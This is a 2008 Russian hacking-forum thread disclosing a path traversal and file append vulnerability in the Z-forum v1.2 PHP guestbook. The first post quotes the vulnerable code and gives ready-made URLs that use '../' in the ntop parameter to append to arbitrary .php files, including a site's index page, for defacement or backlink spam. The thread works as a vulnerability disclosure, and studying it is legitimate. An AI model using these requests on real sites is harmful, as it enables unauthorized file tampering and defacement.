PDA

Просмотр полной версии : Z-forum v.1.2


Dronga
20.03.2008, 20:17
Не совсем стандартная бага и таких примеров маловато.. Пусть будет здесь.

Налетел абсолютно случайно на скрипт, который лежит здесь: http://newscript.ru/?q=taxonomy/term/75&page=1

Поставил... Вот типа такой борды-гостевой-форума человеку и надо было. Прикрутили диз, всё замечательно. Но душе хотелось романтики =)

Полезли в исходник. Собственно, ничего сложного там нет. Остановимся на addreply2.php.
<?php
....
function u($urlz){
$urlz=str_replace("<","&lt;",$urlz);
$urlz=str_replace(">","&gt;",$urlz);
$urlz=str_replace("\"","",$urlz);
$urlz=str_replace("\n","",$urlz);
$urlz=str_replace("\r","",$urlz);
$urlz=str_replace(" "," ",$urlz);
$urlz=str_replace("***","фиг",$urlz);
$urlz=str_replace("блядь","блин",$urlz);
$urlz=str_replace("****","собака",$urlz);
$urlz=str_replace("мудак","дурак",$urlz);
$urlz=str_replace("мадазвон","сволочь",$urlz);
$urlz=str_replace("пиздец","копец",$urlz);
$urlz=str_replace("мудаки","дураки",$urlz);
$urlz=str_replace("JockeR","JokeR",$urlz);
$urlz=str_replace("jocker","joker",$urlz);
$urlz=str_replace("jockeR","joker",$urlz);
$urlz=str_replace("заебал","задолбал",$urlz);
return $urlz;
}
...
$ind=fopen("data/$ntop.php","a+");
...
if($urlz==""){
$si="no url";
}else{
$si="<a href=\\\"".u($urlz)."\\\">".u($urlz)."</a>";
}
...
$rind="<?
echo\"
<table border=\\\"\$border\\\" bgcolor=\\\"\$tablebg\\\" width=\\\"700\\\">
<tr><td bgcolor=\\\"#C0C0C0\\\">От: $pis Сайт: $si<br>Тема: Re:$topicz <br>Сообщение:<br><font color=\\\"#FFFFFF\\\">".mm($mess)."</font></td></tr>
<tr><td background=\\\"img/zag.jpg\\\"><font color=\\\"#FFFFFF\\\"><p align=\\\"center\\\"><a href=\\\"$dirfor/addreply.php?top=$topicz&ntop=$ntop\\\">ОТВЕТ</a></p></font></td></tr>
</table>
\";
?>
";
fwrite($ind,$rind);
..
?>

Кто по коду всё понял - молодцы, закрываем страницу. Остальные читаем дальше. Этот скрипт используется когда оставляют пост. Скрипт не использует базу и все мессаги хранятся в php-файлах, которые подключаются непосредственно при просмотре. Так вот когда человек делает пост, скрипт его сохраняет под номером в каталоге data. Номер поста определяется переменной $ntop, которая передается в GET. Кстати, для работы скрипта необходимо register_globals = On в php.ini.

Естественно никаких проверок $ntop нет. Поэтому тут мы можем немного пофокусничать.

http://sire.ru/z-forum/addreply2.php?ntop=999999&urlz=http://ya.ru
Создаст файл 999999.php в каталоге data.
http://site.ru/z-forum/addreply2.php?ntop=../999999&urlz=http://ya.ru
Создаст наш файл в каталоге выше..
http://site.ru/z-forum/addreply2.php?ntop=../index&urlz=http://ya.ru
Допишет индексовый файл форума..
http://site.ru/z-forum/addreply2.php?ntop=../../index&urlz=http://ya.ru
Допишет индексовую страничку сайта =)))

Резонный вопрос, почему я использую вторую переменную $urlz ?? Потому во всех полях достаточно твердая фильтрация, а используя $urlz теоритически могу беклинков на свой сайт понаоставлять, на любой странице сайта где расположен уязвимый скрипт, а при удачном стечении обстоятельств и сервера ;)

Если есть права, то можно дописать в любой файл на ФС сервера с расширением php. %00 на подопытном сервере не прокатило. Естественно, так можно и сайт задефейсить и просто испортить ему фейс неосторожной вставкой в файлы шаблона ;)

PS. Живых сайтов для примера в гугле не отыскалось, домашняя страница автора тоже приказала долго жить. А вдруг кому попадется.

(с) Antichat.ru

Sn@k3
20.03.2008, 21:06
один вопрос, зачем именно определенную борду делать в одной теме, я понимаю обощить, а так только форум засирать, а так +

Dronga
20.03.2008, 21:25
А нафиг вообще темы?? А нафиг вообще посты?? А нафиг вообще форумы?? Давай всё одним текстовиком выкладывать будем, всё в куче, чтоб ничего не засирать. Всё на своих местах. :)

PS. Модераторы, снесите пожайлуста дубликат темы, случайно, пока сайт под ДДОСом лежал. Спасибо.